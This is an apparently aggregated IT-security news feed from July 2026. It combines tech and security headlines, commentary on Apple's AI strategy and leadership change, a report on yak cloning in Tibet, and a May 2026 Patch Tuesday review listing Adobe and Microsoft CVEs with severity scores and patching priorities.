Team IT Security - 📰 Alle Kategorien

Week in review: ServiceNow pre-auth RCE exploited in the wild, Hugging Face breached

Sun, 26 Jul 2026 10:02:10 +0200

Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: AI agents are still logging in as humans Most large companies run more than one AI platform at the same time. Developers pull up coding assistants, marketing teams lean on writing tools, and analysts query enterprise search across separate vendors. Single-provider setups keep giving way to mixed stacks as companies keep their options open. PR3TACK preemptive framework maps threats before … More →

The post Week in review: ServiceNow pre-auth RCE exploited in the wild, Hugging Face breached appeared first on Help Net Security.

Beyond the blind spots: Defeating frontier AI model threats in your application development process

Sun, 26 Jul 2026 06:34:11 +0200

Looking back a few months ago, it's wild to think about how much things have changed in the world of cybersecurity. Not long ago, running a few outdated application runtimes, pushing Common Vulnerabilities and Exposures (CVE) patches to "next month's…

The post Beyond the blind spots: Defeating frontier AI model threats in your application development process appeared first on IT Security News.

China is Creating a Herd of 100 Elite Yak Clones

Sat, 25 Jul 2026 20:01:07 +0200

CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors." Both domestic yaks and their wild cousins have been facing threats for years, with some rare subspecies at risk of disappearing entirely. Authorities in the southwestern Chinese region have poured tens of millions of dollars into boosting the yak industry in recent years — and they hope cloning can help. The first yak clone came in July 2025, Chinese state media hailing it as a breakthrough achievement that combined cloning with gene selection. More clones were born this spring — and researchers are now aiming to create a herd of more than 100 "elite" yak clones by 2028, boasting desired traits like faster growth and larger size. "This shows the technology has moved from a one-time success to a stable, mass-scale application," said Fang Shengguo, the project's scientific lead and director of the State Conservation Center for Gene Resources of Endangered Wildlife, according to state-run news agency Xinhua... Many experts acknowledge there are legitimate arguments for using cloning in conservation, and for gene selection in farming. But the ethical waters are murky, and any such project should have high levels of public transparency and accountability, said Lisa Moses, a veterinarian and bioethicist at Harvard Medical School. So far, much of the yak cloning project remains mysterious, with information largely limited to glowing state-media coverage... [S]ome scientists say these projects reduce our sense of urgency toward fixing the environment, and that we can't simply churn out clones while the planet burns. To truly enact change, they say, we have to continue addressing the root cause of the problem — restoring degraded habitats, lowering carbon emissions, cracking down on poaching, and more. But for others, "there is a strong feeling ... that traditional conservation is essentially failing now," Moses said. "What we've been doing for the last 100 years to try to stave off ecological destruction is not working.... The argument is, we don't have a choice," she added. "If we want to try to do something that will actually make a difference, we need to use these technologies, specifically synthetic biology, to essentially override evolution and change the fitness of the species for the environment that they live in." "History is littered with good intentions in the environment gone wrong," Moses said, "and I would argue that these technologies have even more unknowns than ones that we previously employed." The article points out that the number of wild yaks "dropped more than a third in the last 30 years, with just 10,000 to 20,000 individuals left, according to the Wildlife Conservation Society." The yaks are threatened by climate change and habitat degradation, "with warmer temperatures bringing invasive plant species and increased competition for resources... in one of the world's most inhospitable terrains."

Read more of this story at Slashdot.

Apple could ‘run the table’ on AI if it does things right

Sat, 25 Jul 2026 19:50:13 +0200

Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.

Apple also offers limited capacity for more complex tasks through Private Cloud Compute, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services.

Deeply deployable

Critics can say it took Apple a long time to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party doesn’t mean you won’t shine once you get there.

Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for Edge AI use cases, on device — no cloud service required.

The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that future M7 Ultra Macs will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes.

While that does assume the AI-flationary memory market can supply that much RAM at prices humans can afford, it is also true that people are already running AI clusters using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe this will continue to be the case, and that it will even broaden as the power/performance offered at the high end grows.

What’s wrong with good enough?

When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for private AI services and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support OpenClaw instances shows they already are.

Ultimately, these different slices of momentum mean I agree with investor Jason Calacanis that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices.

It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run PrismML’s 1-bit, 27-billion parameter Bonsai on an iPad using the Locally app, and that’s in the here and now.

What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they have on their existing device or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models will erode. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all.

“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

Who has the most to lose?

The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.

These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.

Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)

Cupertino rising

What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

Apple and the changing of the guard

Sat, 25 Jul 2026 19:50:11 +0200

As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition.

What’s going well

Just look at the evidence:

Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.
While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop Amazon’s US best-selling chart, which currently includes six Macs in the top 10. The Neo has topped this chart since its introduction.
Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both Counterpoint and IDC tell us that iPhone shipments continue to increase, even as other vendor shipments slide.
IDC analyst Francisco Jeronimo recently estimated that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.
The company’s new 27 series of operating systems is attracting a great response as beta testers report that it is already solid, stable, and performing well.
The AI narrative has really changed, with analysts no longer quite so starry-eyed at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.

What’s coming up

The company’s newly-filed lawsuit against OpenAI may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other.

Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its Jony Ive-tinged talisman.

The stage is set for intense competition between the two. Though some say Apple’s needs to improve employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware.

If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.

Managing perception

It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”

Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same.

Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.

Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda.

That blow comes as Apple finally gets its act together around AI, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.

My kingdom come

Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a 20^thanniversary iPhone.

This is Apple’s party. OpenAI’s name didn’t make the list.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to The Core.

The May 2026 Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-49	Adobe Commerce	15	Critical	8.7	No	2
APSB26-48	Adobe After Effects	4	Critical	7.8	No	3
APSB26-50	Adobe Connect	2	Critical	9.6	No	3
APSB26-51	Adobe Illustrator	4	Critical	7.8	No	3
APSB26-47	Adobe Media Encoder	2	Critical	7.8	No	3
APSB26-46	Adobe Premiere Pro	3	Critical	7.8	No	3
APSB26-55	Adobe Substance 3D Painter	2	Critical	7.8	No	3
APSB26-54	Adobe Substance 3D Sampler	1	Critical	7.8	No	3
APSB26-53	Content Authenticity SDK	14	Critical	7.5	No	3
APSB26-52	Adobe Substance 3D Designer	5	Important	6.3	No	3
TOTAL	10 bulletins	52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

- CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

- CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

- CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

- CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-35435	Azure AI Foundry Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-35428	Azure Cloud Shell Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-42826	Azure DevOps Information Disclosure Vulnerability	Critical	10	No	No	Info
CVE-2026-32207	Azure Machine Learning Notebook Spoofing Vulnerability	Critical	8.8	No	No	Spoofing
CVE-2026-33109	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-33844	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9	No	No	RCE
CVE-2026-41105	Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability	Critical	8.1	No	No	EoP
CVE-2026-33111	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26129	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26164	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-33821	Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability	Critical	7.7	No	No	EoP
CVE-2026-42898	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-40379	Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability	Critical	9.3	No	No	Spoofing
CVE-2026-40363	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40358	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-34327	Microsoft Partner Center Spoofing Vulnerability	Critical	8.2	No	No	Spoofing
CVE-2026-40365	Microsoft SharePoint Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41103	Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability	Critical	9.1	No	No	EoP
CVE-2026-33823	Microsoft Team Events Portal Information Disclosure Vulnerability	Critical	9.6	No	No	Info
CVE-2026-40364	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40366	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40361	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40367	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-42831	Office for Android Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-41096	Windows DNS Client Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-35421	Windows GDI Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-40403	Windows Graphics Component Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-40402	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-32161	Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability	Critical	7.5	No	No	RCE
CVE-2026-41089	Windows Netlogon Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-32175	.NET Core Tampering Vulnerability	Important	4.3	No	No	Tampering
CVE-2026-32177	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-35433	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2025-54518 *	AMD: CVE-2025-54518 CPU OP Cache Corruption	Important		No	No	RCE
CVE-2026-42899	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40381	Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42823 †	Azure Logic Apps Elevation of Privilege Vulnerability	Important	9.9	No	No	EoP
CVE-2026-33833	Azure Machine Learning Notebook Spoofing Vulnerability	Important	8.2	No	No	Spoofing
CVE-2026-32204	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42830	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-33117	Azure SDK for Java Security Feature Bypass Vulnerability	Important	9.1	No	No	SFB
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-35424	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-41614	M365 Copilot for Desktop Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-41100	Microsoft 365 Copilot for Android Spoofing Vulnerability	Important	4.4	No	No	Spoofing
CVE-2026-40377	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-41094	Microsoft Data Formulator Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40417	Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42833	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Important	9.1	No	No	RCE
CVE-2026-42838	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	5.4	No	No	EoP
CVE-2026-40360	Microsoft Excel Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-40359	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-40362	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-42832	Microsoft Excel Spoofing Vulnerability	Important	7.7	No	No	Spoofing
CVE-2026-34329	Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40419	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40418	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35436	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-40420	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-42893	Microsoft Outlook for iOS Tampering Vulnerability	Important	7.4	No	No	Tampering
CVE-2026-40374	Microsoft Power Automate Desktop Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41102	Microsoft PowerPoint for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35439	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40368	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33110	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-33112	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40357	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-32185	Microsoft Teams Spoofing Vulnerability	Important	5.5	No	No	Spoofing
CVE-2026-41101	Microsoft Word for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35440	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40421	Microsoft Word Information Disclosure Vulnerability	Important	4.3	No	No	Info
CVE-2026-41097	Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-40370 †	SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-41613	Visual Studio Code Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-41612	Visual Studio Code Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41611	Visual Studio Code Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-41610	Visual Studio Code Security Feature Bypass Vulnerability	Important	6.3	No	No	SFB
CVE-2026-33839	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33840	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34330	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34331	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35423	Windows 11 Telnet Client Information Disclosure Vulnerability	Important	5.4	No	No	Info
CVE-2026-35438	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-41086	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-34344	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34345	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35416	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41088	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34343	Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35418	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33835	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34337	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40407	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40397	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42896	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35419	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34336	Windows DWM Core Library Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-33834	Windows Event Logging Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32209	Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-33841	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35420	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40369	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34332	Windows Kernel-Mode Driver Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-34339	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-34341	Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33838	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34342	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41095	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34340	Windows Projected File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-40398	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21530	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32170	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-40410	Windows SMB Client Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35415	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34350	Windows Storport Miniport Driver Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-40405	Windows TCP/IP Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40414	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-40401	Windows TCP/IP Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-40413	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-35422	Windows TCP/IP Driver Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-34351	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40399	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34334	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40406	Windows TCP/IP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-33837	Windows TCP/IP Local Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40415	Windows TCP/IP Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-42825	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34338	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40382	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40380	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Important	6.2	No	No	RCE
CVE-2026-40408	Windows WAN ARP Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34333	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34347	Windows Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35417	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42891	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-35429	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-41107	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	7.4	No	No	Info
CVE-2026-40416	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

